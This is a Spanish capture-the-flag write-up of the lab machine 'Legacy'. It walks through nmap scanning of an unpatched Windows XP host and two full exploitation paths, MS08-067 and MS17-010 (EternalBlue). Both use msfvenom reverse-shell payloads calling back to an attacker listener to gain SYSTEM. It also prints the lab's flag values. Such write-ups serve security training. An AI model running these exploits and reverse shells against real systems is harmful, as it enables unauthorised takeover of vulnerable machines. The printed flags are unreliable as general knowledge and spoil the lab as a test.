Legacy
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Un Windows XP con solo135/139/445abiertos y sin parches.nmap --script smb-vuln-*confirma que es vulnerable a MS08-067 (NetAPI) y MS17-010 (EternalBlue). Cualquiera de las dos da shell directa como NT AUTHORITY\SYSTEM sin necesidad de escalar privilegios. Se documentan ambos exploits: MS08-067 con el repoandyacer/ms08_067+ shellcode demsfvenom, y MS17-010 conh3x0v3rl0rd/MS17-010_CVE-2017-0143(en Docker Python 2.7 por compatibilidad) +.exegenerado conmsfvenom.
Reconocimiento
Ping
Antes del nmap completo, un ping rápido orienta sobre el sistema operativo por el TTL.
ping -c 1 10.10.10.4
64 bytes from 10.10.10.4: icmp_seq=1 ttl=127 time=114 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Barremos los 65535 puertos TCP con -p- (-n -Pn para saltar DNS y ping) y descubrir todo lo abierto; sobre esos puertos, un -sCV dirigido detallará servicio y versión:
sudo nmap -p- --open --reason -n -Pn 10.10.10.4
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127extractPorts, una función del .zshrc, resume el fichero -oG y deja los tres puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.4
Open ports: 135,139,445
Ports copied to clipboardSolo los tres puertos clásicos de un Windows antiguo: RPC y SMB. Ni web, ni SSH, ni WinRM. El -sCV detallado confirma un sistema muy antiguo:

Service Info: OS: Windows, Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::
Computer name: Legacy
NetBIOS computer name: LEGACY\x00Windows XP sin actualizaciones. Los dos exploits más relevantes de la historia de SMB apuntan directamente a ese sistema: MS08-067 (NetAPI, 2008) y MS17-010 (EternalBlue, 2017). Un script de nmap confirma ambos:
nmap -p445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 10.10.10.4
| smb-vuln-ms08-067:
| VULNERABLE: Microsoft Windows system vulnerable to remote code execution (MS08-067)
| smb-vuln-ms17-010:
| VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)Ambas son RCE directo contra el servicio SMB: no hace falta credenciales, no hay autenticación. El atacante envía un paquete malformado y ejecuta código como SYSTEM.
Shell como NT AUTHORITY\SYSTEM
Exploit 1: MS08-067 (NetAPI)
MS08-067 explota un buffer overflow en el servicio NetAPI32 a través de SMB. El exploit público de andyacer/ms08_067 requiere un shellcode generado con msfvenom para la plataforma y arquitectura correctas:
git clone https://github.com/andyacer/ms08_067
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 EXITFUNC=thread \
-b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
Found 11 compatible encoders
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of c file: 1491 bytes
unsigned char buf[] =
"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76"
...El shellcode generado se pega en ms08_067_2018.py (reemplazando el placeholder):

Luego se ejecuta contra la IP con la opción que corresponde a Windows XP SP3 (opción 6):
sudo rlwrap nc -nlvp 443
python2 ms08_067_2018.py 10.10.10.4 6 445
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.4] 1039
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>La shell llega directamente como NT AUTHORITY\SYSTEM: el servicio SMB corre con máximos privilegios en XP.
Exploit 2: MS17-010 (EternalBlue)
EternalBlue es posterior (2017, filtrado de la NSA) pero más conocido. El exploit del repo h3x0v3rl0rd/MS17-010_CVE-2017-0143 necesita Python 2.7 + impacket 0.9.23, así que lo más limpio es construir un contenedor Docker para evitar conflictos de dependencias:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 -f exe -o ms17-010.exe
FROM python:2.7-alpine
RUN apk add git gcc musl-dev libffi-dev openssl-dev zlib-dev libc-dev
COPY requirements.txt ms17-010.exe /opt/exploit/
WORKDIR /opt/exploit
RUN pip install -r requirements.txtEn la máquina atacante, nc vuelve a escuchar en el 443 para esta segunda vía:
sudo rlwrap nc -nlvp 443docker build -t exploit .
docker run -it exploit /bin/sh
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143
python send_and_execute.py 10.10.10.4 ../ms17-010.exe
[+] Building 100.8s (12/12) FINISHED
=> => naming to docker.io/library/exploit
/opt/exploit # git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
Cloning into 'MS17-010_CVE-2017-0143' ...
/opt/exploit # cd MS17-010_CVE-2017-0143
/opt/exploit/MS17-010_CVE-2017-0143 #
Mismo resultado: shell como SYSTEM. En este caso el exploit inyecta un .exe directamente en memoria a través de la vulnerabilidad SMBv1.
Flags
Sin necesidad de escalar (ya somos SYSTEM):

993442d258b0e0ec917cae9e695d5713 # Administrator\Desktop\root.txt
e69af0e4f443de7e36876fda4ec7644f # john\Desktop\user.txtC:\DOCUME~1> type Administrator\Desktop\root.txt
C:\DOCUME~1> type john\Desktop\user.txtCadena de ataque
nmap (135, 139, 445)
└─> Windows XP (2000 LAN Manager) → sin parches
└─> nmap --script smb-vuln-* → MS08-067 ✓ y MS17-010 ✓
├─> MS08-067: andyacer/ms08_067 + msfvenom shellcode (python2)
│ └─> reverse shell como NT AUTHORITY\SYSTEM
└─> MS17-010: send_and_execute.py + msfvenom .exe (Docker python2.7)
└─> reverse shell como NT AUTHORITY\SYSTEM
└─> root.txt + user.txt (sin escalada)Lecciones aprendidas
- Windows XP sin parches es un blanco tan fácil que no necesita ni autenticación ni escalada: MS08-067 y MS17-010 dan SYSTEM directo. La máquina sirve como laboratorio para entender las bases del exploit SMB.
nmap --script smb-vuln-*es la forma más rápida de confirmar vulnerabilidades SMB sin lanzar el exploit; siempre vale la pena correrlo antes de montar toda la infraestructura de ataque.- Muchos exploits Legacy (Python 2.7, dependencias viejas de impacket) no funcionan en un Kali moderno. Un contenedor Docker con la versión exacta de Python e impacket es la forma más fiable de ejecutarlos sin romper el entorno.
msfvenomgenera shellcode (-f c) para inyectar en exploits de código (MS08-067) y ejecutables (-f exe) para inyectar en exploits de envío+ejecución (MS17-010). Saber cuál pide cada exploit ahorra tiempo.- Las bad-chars (
\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40) son específicas del exploit y del servicio objetivo. Especificarlas mal produce un shellcode que corrompe la pila y el exploit falla sin dar error claro.